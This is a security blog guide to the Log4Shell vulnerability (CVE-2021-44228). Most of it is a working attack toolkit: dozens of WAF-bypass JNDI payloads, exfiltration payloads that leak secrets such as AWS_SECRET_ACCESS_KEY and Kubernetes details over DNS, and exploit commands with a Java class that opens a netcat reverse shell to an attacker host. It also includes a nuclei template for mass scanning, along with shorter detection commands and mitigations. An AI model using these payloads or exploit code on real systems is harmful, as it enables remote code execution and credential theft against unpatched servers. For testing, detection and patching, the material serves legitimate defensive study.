log4shell - Quick Guide

log4shell - Quick Guide

0x00 Introduction

CVE-2021-44228 (a.k.a. log4shell) is a Remote Code Execution vulnerability in the Apache Log4j library, a Java-based logging tool widely used in applications around the world. This vulnerability allows an attacker who can control log messages to execute arbitrary code loaded from attacker-controlled servers — and we anticipate that most apps using the Log4j library will meet this condition.

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. Affected versions are 2.0 <= Apache log4j <= 2.14.1

0x01 How to works

log4shell

  1. An attacker inserts the JNDI lookup/payload in a anywhere of request that is likely to be logged. (for instance: ${jndi:ldap://domain.com/j})
  2. The payload is passed to log4j for logging.
  3. Log4j interpolates the string and queries the malicious ldap server.
  4. The ldap server responds with directory information that contains the malicious java class.
  5. Java deserializes or download the malicious java class and execute it.

0x02 Simple DNS Log Monitor Services

0x04 Waf Bypass & Data Exfiltration Payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
${jn${env::-}di:ldap://domain.com/j}
${jn${date:}di${date:':'}ldap://domain.com/j}
${j${k8s:k5:-ND}i${sd:k5:-:}ldap://domain.com/j}
${j${main:\k5:-Nd}i${spring:k5:-:}ldap://domain.com/j}
${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://domain.com/j}
${j${::-nD}i${::-:}ldap://domain.com/j}
${j${EnV:K5:-nD}i:ldap://domain.com/j}
${j${loWer:Nd}i${uPper::}ldap://domain.com/j}
${jndi:ldap://127.0.0.1#domain.com/j}
${jnd${upper:ı}:ldap://domain.com/j}
${jnd${sys:SYS_NAME:-i}:ldap:/domain.com/j}
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://domain.com/j}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://domain.com/j}
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://domain.com/j}
${\u006a\u006e\u0064\u0069:ldap://domain.com/j}
${jn${lower:d}i:l${lower:d}ap://${lower:x}${lower:f}.domain.com/j}
${j${k8s:k5:-ND}${sd:k5:-${123%25ff:-${123%25ff:-${upper:ı}:}}}ldap://domain.com/j}
%24%7Bjndi:ldap://domain.com/j%7D
%24%7Bjn$%7Benv::-%7Ddi:ldap://domain.com/j%7D

The following payloads can be used for data exfiltration if you got ping back but it’s non exploitable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# Docker Lookup
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${docker:containerName}.domain.com/j}
${jndi:ldap://${docker:imageId}.domain.com/j}
${jndi:ldap://${docker:imageName}.domain.com/j}
${jndi:ldap://${docker:shortContainerId}.domain.com/j}
${jndi:ldap://${docker:shortImageId}.domain.com/j}

# Environment Lookup
${jndi:ldap://${env:USER}.domain.com/j}
${jndi:ldap://${env:user}.domain.com/j}
${jndi:ldap://${env:COMPUTERNAME}.domain.com/j}
${jndi:ldap://${env:USERDOMAIN}.domain.com/j}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.domain.com/j}
${jndi:ldap://${hostName}.domain.com/j}
${jndi:ldap://${env:JAVA_VERSION}.domain.com/j}

# Java Lookup
${jndi:ldap://${java:version}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j}
${jndi:ldap://${java:vm}.domain.com/j}
${jndi:ldap://${java:os}.domain.com/j}
${jndi:ldap://${java:locale}.domain.com/j}
${jndi:ldap://${java:hw}.domain.com/j}

# Kubernetes Lookup
${jndi:ldap://${k8s:accountName}.domain.com/j}
${jndi:ldap://${k8s:clusterName}.domain.com/j}
${jndi:ldap://${k8s:containerId}.domain.com/j}
${jndi:ldap://${k8s:containerName}.domain.com/j}
${jndi:ldap://${k8s:host}.domain.com/j}
${jndi:ldap://${k8s:hostIp}.domain.com/j}
${jndi:ldap://${k8s:labels.app}.domain.com/j}
${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j}
${jndi:ldap://${k8s:masterUrl}.domain.com/j}
${jndi:ldap://${k8s:namespaceId}.domain.com/j}
${jndi:ldap://${k8s:namespaceName}.domain.com/j}
${jndi:ldap://${k8s:podId}.domain.com/j}
${jndi:ldap://${k8s:podIp}.domain.com/j}
${jndi:ldap://${k8s:podName}.domain.com/j}
${jndi:ldap://${k8s:imageId}.domain.com/j}
${jndi:ldap://${k8s:imageName}.domain.com/j}
${jndi:ldap://.domain.com/j}

# Main Arguments Lookup
${jndi:ldap://${main:0}.domain.com/j}
${jndi:ldap://${main:1}.domain.com/j}
${jndi:ldap://${main:2}.domain.com/j}
${jndi:ldap://${main:3}.domain.com/j}
${jndi:ldap://${main:4}.domain.com/j}
${jndi:ldap://${main:\--file}.domain.com/j}
${jndi:ldap://${main:\-x}.domain.com/j}
${jndi:ldap://${main:bar}.domain.com/j}
${jndi:ldap://${main:\--quiet:-true}.domain.com/j}

# Web Lookup
${jndi:ldap://${web:attr.name}.domain.com/j}
${jndi:ldap://${web:contextPath}.domain.com/j}
${jndi:ldap://${web:contextPathName}.domain.com/j}
${jndi:ldap://${web:effectiveMajorVersion}.domain.com/j}
${jndi:ldap://${web:effectiveMinorVersion}.domain.com/j}
${jndi:ldap://${web:initParam.name}.domain.com/j}
${jndi:ldap://${web:majorVersion}.domain.com/j}
${jndi:ldap://${web:minorVersion}.domain.com/j}
${jndi:ldap://${web:rootDir}.domain.com/j}
${jndi:ldap://${web:serverInfo}.domain.com/j}
${jndi:ldap://${web:servletContextName}.domain.com/j}

# System Properties Lookup
${jndi:ldap://${sys:logPath}.domain.com/j}
${jndi:ldap://${sys:java.version}.domain.com/j}
${jndi:ldap://${sys:java.vendor}.domain.com/j}

# Structured Data Lookup
${jndi:ldap://${sys:logPath}.domain.com/j}

# Date Lookup
${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j}

# Context Map Lookup
${jndi:ldap://${ctx:loginId}.domain.com/j}

Check these headers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token
Cache-Control
Cf-Connecting_ip
CF-Connecting_IP
Client-Ip
Client-IP
Contact
Cookie
Destination
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Profile
Proxy
Proxy-Host
Referer
TE
True-Client-Ip
True-Client-IP
Upgrade
User-Agent
Via
Warning
X-Api-Version
X-Arbitrary
X-Att-Deviceid
X-ATT-DeviceId
X-Client-Ip
X-Client-IP
X-Correlation-ID
X-Csrf-Token
X-CSRFToken
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Forward-For
X-Forward-Proto
X-Frame-Options
X-From
X-Geoip-Country
X-Host
X-Http-Destinationurl
X-HTTP-DestinationURL
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-HTTP-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Log
X-Original-URL
X-Originating-Ip
X-Originating-IP
X-ProxyUser-Ip
X-Real-Ip
X-Real-IP
X-Remote-Addr
X-Remote-Ip
X-Requested-With
X-Request-ID
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN

0x03 Exploitation

There are a lot diffirent way for exploitation. I will only share two. in fact they do same thing in background. one is shortter only.

  1. The following command starts rmiserver,ldap server. It generates jndi links. These links serves java class for performing commands that spesified at C parameter. A is your server-ip that you run ldap&rmi.

    • java -jar JNDInjection.jar -C "nc 192.168.1.XX 1337 -e /bin/sh" -A "192.168.1.XX"
      log4shell
  2. This way is a little dirty. The following command starts a ldap server and forwarding requests to spesified url. Because of this you should start a web server and serve the malicious java class over the server. To do this quicly you can use python http.server module. note that the java class must be compatible/supports target’s jdk version.

    • java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.XX:1337/#Exploit"

    • python.exe -m http.server 1337

    • a simple example of java exploit to linux systems. (compile with javac)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      public class Exploit {
      public Exploit() {}
      static {
      try {
      Runtime.getRuntime().exec("nc 192.168.1.105 1337 -e /bin/sh");
      /* other os
      String[] cmd = {"cmd.exe", "/c", "calc.exe"};
      String[] cmd = {"open","/System/Applications/Calculator.app"};
      */

      }catch (Exception e){
      e.printStackTrace();
      }
      }
      public static void main(String[] args) {
      Exploit e = new Exploit();
      }
      }

      log4shell

0x05 Exploitation Detection

  • a bash command for quick detection log4shell attempts. It involves some waf bypass payloads too. It matched all payload that shared by sans in here.

    1
    find / -name "*.log" -exec grep "\${jndi:ldap\|\${\${::-j}\|\${jndi:rmi\|\${\${lower:jndi}\|\${\${lower\:j}\${lower:n}\|\${\${lower:j}\${upper:n}\|\${\${lower:\${lower:jndi}}:" {} -n -H --color \;
  • a bash command for quick detection log4shell attempts in compressed files.

    1
    sudo find / -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
  • YARA Rule

  • IOCs

  • CrowdSec Log4Shell Threat Tracker

0x06 Test it in Your Local:

Vulnerable App: log4shell-vuln-app

0x07 Burp Extansions

0x08 Mitigations

  • in previous releases (<2.10) this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups=true or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath. (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)

0x09 References​

big shout out to;
lunasec, fastly.com, cyberkendra.com, govcert.ch, @tangxiaofeng7, @christophetd,@shutingrz, @bugbountynights, @BountyOverflow, @ymzkei5, @Neo23x0, @hrbrmstr, @Puliczek

0xA Why this thumbnail?

Seraph: The Oracle has many enemies, I had to be sure.
Neo: Of what?
Seraph: That you were The One.
Neo: You could’ve just asked.
Seraph: You do not truly know someone until you fight them.

0xB Automating All Step with Nuclei [update: 21.03.2022]

When log4shell had released i created a nuclei template in the first days of log4shell. It found 1000+ vulnerable application. I’m publishing it because the vulnerability has been fixed almost all systems.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
id: CVE-2021-44228
info:
name: Log4j Remote Code Execution [log4shell]
author: musana
severity: critical
description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
reference:
- https://www.lunasec.io/docs/blog/log4j-zero-day/
tags: CVE-2021-44228,log4shell,log4j

requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Referer: https://google.com.tr
{{headerName}}: {{bypassPayloads}}{{Host}}.{{headerName}}.{{interactsh-url}}/f}

payloads:
headerName:
- Accept-Charset
- Accept-Datetime
- Accept-Encoding
- Accept-Language
- Authorization
- Cache-Control
- Cf-Connecting_ip
- Client-Ip
- Contact
- Cookie
- DNT
- Forwarded
- Forwarded-For
- Forwarded-For-Ip
- Forwarded-Proto
- From
- If-Modified-Since
- Max-Forwards
- Origin
- Originating-Ip
- Pragma
- Referer
- TE
- True-Client-IP
- True-Client-Ip
- Upgrade
- User-Agent
- Via
- Warning
- X-ATT-DeviceId
- X-Api-Version
- X-Att-Deviceid
- X-CSRFToken
- X-Client-Ip
- X-Correlation-ID
- X-Csrf-Token
- X-Do-Not-Track
- X-Foo
- X-Foo-Bar
- X-Forward-For
- X-Forward-Proto
- X-Forwarded
- X-Forwarded-By
- X-Forwarded-For
- X-Forwarded-For-Original
- X-Forwarded-Host
- X-Forwarded-Port
- X-Forwarded-Proto
- X-Forwarded-Protocol
- X-Forwarded-Scheme
- X-Forwarded-Server
- X-Forwarded-Ssl
- X-Forwarder-For
- X-Frame-Options
- X-From
- X-Geoip-Country
- X-HTTP-Method-Override
- X-Http-Destinationurl
- X-Http-Host-Override
- X-Http-Method
- X-Http-Method-Override
- X-Http-Path-Override
- X-Https
- X-Htx-Agent
- X-Hub-Signature
- X-If-Unmodified-Since
- X-Imbo-Test-Config
- X-Insight
- X-Ip
- X-Ip-Trail
- X-Leakix
- X-Originating-Ip
- X-ProxyUser-Ip
- X-Real-Ip
- X-Remote-Addr
- X-Remote-Ip
- X-Request-ID
- X-Requested-With
- X-UIDH
- X-Wap-Profile
- X-XSRF-TOKEN

bypassPayloads:
- ${jndi:ldap://1.
- ${jndi:ldap:/2.
- ${jndi:dns:/3.
- ${jndi:dns://4.
- ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://5.
- ${${::-j}ndi:rmi://6.
- ${jndi:rmi://domainldap.com/j}7.
- ${${lower:jndi}:${lower:rmi}://8.
- ${${lower:${lower:jndi}}:${lower:rmi}://9.
- ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://10.
- ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://11.
- ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://12.
- ${jndi:${lower:l}${lower:d}a${lower:p}://13.
- ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//14.
- ${jn${env::-}di:ldap://15.
- ${jn${date:}di${date:':'}ldap://16.
- ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://17.
- ${j${main:\k5:-Nd}i${spring:k5:-:}ldap://18.
- ${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://19.
- ${j${::-nD}i${::-:}ldap://20.
- ${j${EnV:K5:-nD}i:ldap://21.
- ${j${loWer:Nd}i${uPper::}ldap://22.
- ${jndi:ldap://127.0.0.1#23.
- ${jnd${upper:ı}:ldap://24.
- ${jnd${sys:SYS_NAME:-i}:ldap:/25.
- ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://26.
- ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://27.
- ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://28.
- ${\u006a\u006e\u0064\u0069:ldap://29.
attack: clusterbomb

matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"

- type: regex
part: interactsh_request
regex:
- '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

extractors:
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
#- '([a-zA-Z0-9\.\-]+).([a-z0-9]+)\.\w+' # should use this regex if you use your own interactsh server.

Comments